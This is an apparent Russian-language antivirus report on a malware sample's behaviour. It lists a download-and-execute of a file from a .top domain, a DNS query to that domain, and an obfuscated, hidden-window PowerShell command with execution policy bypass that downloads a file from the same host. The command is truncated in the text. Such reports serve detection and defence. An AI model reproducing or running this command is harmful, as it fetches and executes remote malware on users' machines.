Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWer^Sh^e^lL^.exe -^eXe^CUt^IO^nPoLI^cy ByPaSS ^-nopRoFIL^E -w^iN^d^ow^ST^y^LE^ h^iD^D^E^n ^(NeW^-o^b^j^ecT^ ^Sy^s^T^em^.nET.^w^Ebc^LIen^t)^.^D^OW^n^L^oaDfiLe^('http://www.fapoergol....
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWer^Sh^e^lL^.exe -^eXe^CUt^IO^nPoLI^cy ByPaSS ^-nopRoFIL^E -w^iN^d^ow^ST^y^LE^ h^iD^D^E^n ^(NeW^-o^b^j^ecT^ ^Sy^s^T^em^.nET.^w^Ebc^LIen^t)^.^D^OW^n^L^oaDfiLe^('http://www.fapoergol....' (со скрытым окном)
